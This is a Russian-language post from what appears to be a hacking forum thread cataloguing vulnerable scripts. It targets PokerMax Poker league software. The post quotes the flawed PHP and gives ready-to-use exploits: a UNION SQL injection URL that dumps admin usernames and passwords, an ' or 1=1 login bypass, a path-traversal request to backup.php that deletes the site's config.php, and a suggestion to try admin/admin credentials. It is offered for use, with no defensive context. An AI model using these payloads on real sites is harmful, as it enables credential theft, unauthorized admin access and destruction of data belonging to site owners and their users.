Форум АНТИЧАТ - Показать сообщение отдельно - Энциклопедия уязвимых скриптов

PokerMax Poker

не понял я что за покер там, искал себе сорцы поиграть

SQL
Условия: MQ = off
файл : pokerleague_.php (везде может отличаться название)

PHP код:


		
			
$plrows = $sql->execute ( "SELECT * FROM ".$player_table." WHERE playerid='" . $cgi->getValue ( "pid" ) . "'",

sploit :

PHP код:


		
			
http://localhost/pokerleague/pokerleague_.php?op=showplayer&pid=-Salcifuful%27+/*!UNION*/+SELECT+1,2,concat_Ws%280x3a,username,password%29,4,5,6,7,8,9,10+from+pokermax_admin%23

Админко хек
Условия: MQ = off
Файл : index.php (он же логиниться)

PHP код:


		
			
if (isset($_POST["op"]) && ($_POST["op"]=="adminlogin"))

{

  mysql_connect($server, $DBusername, $DBpassword) or die ("$DatabaseError"); 

  mysql_select_db($database);

  $query = "SELECT * FROM $admin_table WHERE username='".$_POST['username']."' AND password='".$_POST['password']."'";

splot:

Код:

ну собственно идем в админку и
login: ' or 1=1%23
pass: anoxyi4to xoTb 3DECb 6bl/\ Bac9|

Удалим что нить?
в админке файл : backup.php (Делает бэкупс)

PHP код:


		
			
unlink($backup_dir."/" . getParam("delzip",""));

$backup_dir - по умолчанию вроде backup
такссс....ни че не фильтруется и т.д. ->
делаем
Sploit :

Код:

http://localhost/pokerleague/pokeradmin/backup.php?delzip=../../includes/config.php

(кол-во ../ может отличаться от здесьнаписаного)
по замысловатому замыслу он удалится

ЗЫ там еще скули в админке, думаю они не так важны уже

ЗЫЫ иногда прокатывает в админку зайти с
login:admin
pass:admin